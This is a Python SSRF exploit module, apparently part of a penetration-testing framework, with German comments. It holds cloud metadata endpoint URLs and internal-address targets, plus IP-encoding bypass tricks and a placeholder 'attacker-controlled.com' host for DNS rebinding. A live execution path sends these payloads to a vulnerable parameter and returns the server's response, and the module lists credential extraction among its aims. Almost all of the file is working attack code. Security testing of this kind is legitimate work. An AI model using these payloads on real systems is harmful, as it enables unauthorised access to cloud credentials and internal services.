Buckets:
AnonymousSpottedToad/candidate_bucket / codebase /python /SHAdd0WTAka_Zen-Ai-Pentest /modules /exploit_modules /ssrf_module.py
| #!/usr/bin/env python3 | |
| """ | |
| SSRF Exploit Module | |
| =================== | |
| Exploit-Modul für Server-Side Request Forgery Schwachstellen | |
| Unterstützt: | |
| - Basic SSRF | |
| - Blind SSRF | |
| - DNS Rebinding | |
| - Protocol Smuggling | |
| - Cloud Metadata Access | |
| Author: ExploitBot Development Team | |
| Version: 1.0.0 | |
| """ | |
| import ipaddress | |
| import sys | |
| from typing import Any, Dict | |
| sys.path.append("..") | |
| from exploit_bot import ( | |
| ExecutionMode, | |
| ExploitModule, | |
| ExploitPayload, | |
| ExploitResult, | |
| ExploitType, | |
| VulnerabilityContext, | |
| ) | |
| class SSRFModule(ExploitModule): | |
| """SSRF Exploit Modul""" | |
| def __init__(self): | |
| super().__init__(name="SSRFModule", exploit_type=ExploitType.SSRF) | |
| # Cloud Metadata Endpoints | |
| self.cloud_metadata = { | |
| "aws": "http://169.254.169.254/latest/meta-data/", | |
| "gcp": "http://metadata.google.internal/computeMetadata/v1/", | |
| "azure": "http://169.254.169.254/metadata/instance?api-version=2021-02-01", | |
| "oracle": "http://169.254.169.254/opc/v1/instance/", | |
| "alibaba": "http://100.100.100.200/latest/meta-data/", | |
| "digitalocean": "http://169.254.169.254/metadata/v1/", | |
| } | |
| # Interne Ziele | |
| self.internal_targets = { | |
| "localhost": "http://127.0.0.1/", | |
| "localhost_ipv6": "http://[::1]/", | |
| "localhost_decimal": "http://2130706433/", | |
| "localhost_hex": "http://0x7f000001/", | |
| "localhost_octal": "http://0177.0000.0000.0001/", | |
| "private_10": "http://10.0.0.1/", | |
| "private_172": "http://172.16.0.1/", | |
| "private_192": "http://192.168.0.1/", | |
| } | |
| # Bypass-Techniken | |
| self.bypass_techniques = { | |
| "dns_rebinding": "http://attacker-controlled.com/", | |
| "decimal_ip": self._ip_to_decimal, | |
| "hex_ip": self._ip_to_hex, | |
| "octal_ip": self._ip_to_octal, | |
| "dotted_hex": self._ip_to_dotted_hex, | |
| "url_encoding": lambda ip: f"http://{ip.replace('.', '%2e')}/", | |
| } | |
| def _ip_to_decimal(self, ip: str) -> str: | |
| """Konvertiert IP zu Dezimal""" | |
| try: | |
| ip_obj = ipaddress.ip_address(ip) | |
| return f"http://{int(ip_obj)}/" | |
| except (ValueError, AttributeError): | |
| return ip | |
| def _ip_to_hex(self, ip: str) -> str: | |
| """Konvertiert IP zu Hex""" | |
| try: | |
| ip_obj = ipaddress.ip_address(ip) | |
| return f"http://0x{int(ip_obj):08x}/" | |
| except (ValueError, AttributeError): | |
| return ip | |
| def _ip_to_octal(self, ip: str) -> str: | |
| """Konvertiert IP zu Oktal""" | |
| try: | |
| parts = ip.split(".") | |
| octal_parts = [oct(int(p))[2:] for p in parts] | |
| return f"http://{'.'.join(octal_parts)}/" | |
| except (ValueError, AttributeError): | |
| return ip | |
| def _ip_to_dotted_hex(self, ip: str) -> str: | |
| """Konvertiert IP zu Dotted Hex""" | |
| try: | |
| parts = ip.split(".") | |
| hex_parts = [f"0x{int(p):02x}" for p in parts] | |
| return f"http://{'.'.join(hex_parts)}/" | |
| except (ValueError, AttributeError): | |
| return ip | |
| async def develop_exploit(self, context: VulnerabilityContext) -> Dict[str, Any]: | |
| """Entwickelt einen SSRF Exploit""" | |
| ssrf_type = context.target_info.get("type", "basic") | |
| context.target_info.get("target_service", "aws") | |
| exploit = { | |
| "type": "ssrf", | |
| "ssrf_type": ssrf_type, | |
| "target_url": context.target_url, | |
| "vulnerable_parameter": context.parameters.get("vulnerable_param", "url"), | |
| "cloud_metadata": self.cloud_metadata, | |
| "internal_targets": self.internal_targets, | |
| "bypass_techniques": list(self.bypass_techniques.keys()), | |
| "capabilities": [ | |
| "cloud_metadata_access", | |
| "internal_port_scan", | |
| "internal_service_access", | |
| "credential_extraction", | |
| ], | |
| "severity": context.severity.name, | |
| } | |
| return exploit | |
| async def generate_payload(self, context: VulnerabilityContext) -> ExploitPayload: | |
| """Generiert einen SSRF Payload""" | |
| target = context.target_info.get("target", "aws_metadata") | |
| bypass = context.target_info.get("bypass", None) | |
| # Wähle Ziel | |
| if target in self.cloud_metadata: | |
| raw_payload = self.cloud_metadata[target] | |
| elif target in self.internal_targets: | |
| raw_payload = self.internal_targets[target] | |
| else: | |
| raw_payload = target | |
| # Wende Bypass an | |
| if bypass and bypass in self.bypass_techniques: | |
| if callable(self.bypass_techniques[bypass]): | |
| # Extrahiere IP aus Payload | |
| import re | |
| ip_match = re.search(r"(\d+\.\d+\.\d+\.\d+)", raw_payload) | |
| if ip_match: | |
| raw_payload = self.bypass_techniques[bypass](ip_match.group(1)) | |
| return ExploitPayload( | |
| payload_id=f"SSRF-{target.upper()}", | |
| exploit_type=ExploitType.SSRF, | |
| payload_data=raw_payload, | |
| encoding="raw", | |
| metadata={"target": target, "bypass": bypass}, | |
| ) | |
| async def execute( | |
| self, | |
| context: VulnerabilityContext, | |
| payload: ExploitPayload, | |
| mode: ExecutionMode = ExecutionMode.SIMULATION, | |
| ) -> ExploitResult: | |
| """Führt den SSRF Exploit aus""" | |
| import time | |
| start_time = time.time() | |
| if mode == ExecutionMode.SIMULATION: | |
| return ExploitResult( | |
| exploit_id=f"SSRF-{self.module_id}", | |
| success=True, | |
| status="simulated", | |
| output=f"Simulierter SSRF zu: {payload.payload_data[:50]}...", | |
| evidence={"payload": payload.payload_data}, | |
| duration_ms=(time.time() - start_time) * 1000, | |
| ) | |
| try: | |
| import aiohttp | |
| async with aiohttp.ClientSession() as session: | |
| param_name = context.parameters.get("vulnerable_param", "url") | |
| params = {param_name: payload.payload_data} | |
| async with session.get( | |
| context.target_url, | |
| params=params, | |
| headers=context.headers, | |
| timeout=aiohttp.ClientTimeout(total=30), | |
| ) as response: | |
| response_text = await response.text() | |
| return ExploitResult( | |
| exploit_id=f"SSRF-{self.module_id}", | |
| success=True, | |
| status="request_made", | |
| output=response_text[:1000], | |
| evidence={ | |
| "status_code": response.status, | |
| "response_length": len(response_text), | |
| "target": payload.payload_data, | |
| }, | |
| duration_ms=(time.time() - start_time) * 1000, | |
| ) | |
| except Exception as e: | |
| return ExploitResult( | |
| exploit_id=f"SSRF-{self.module_id}", | |
| success=False, | |
| status="error", | |
| error_message=str(e), | |
| duration_ms=(time.time() - start_time) * 1000, | |
| ) | |
Xet Storage Details
- Size:
- 7.44 kB
- Xet hash:
- c461518bfe95b1c42cd1d3f573f75a1a6cc452fbf71d36f771afee75378e618e
·
Xet efficiently stores files, intelligently splitting them into unique chunks and accelerating uploads and downloads. More info.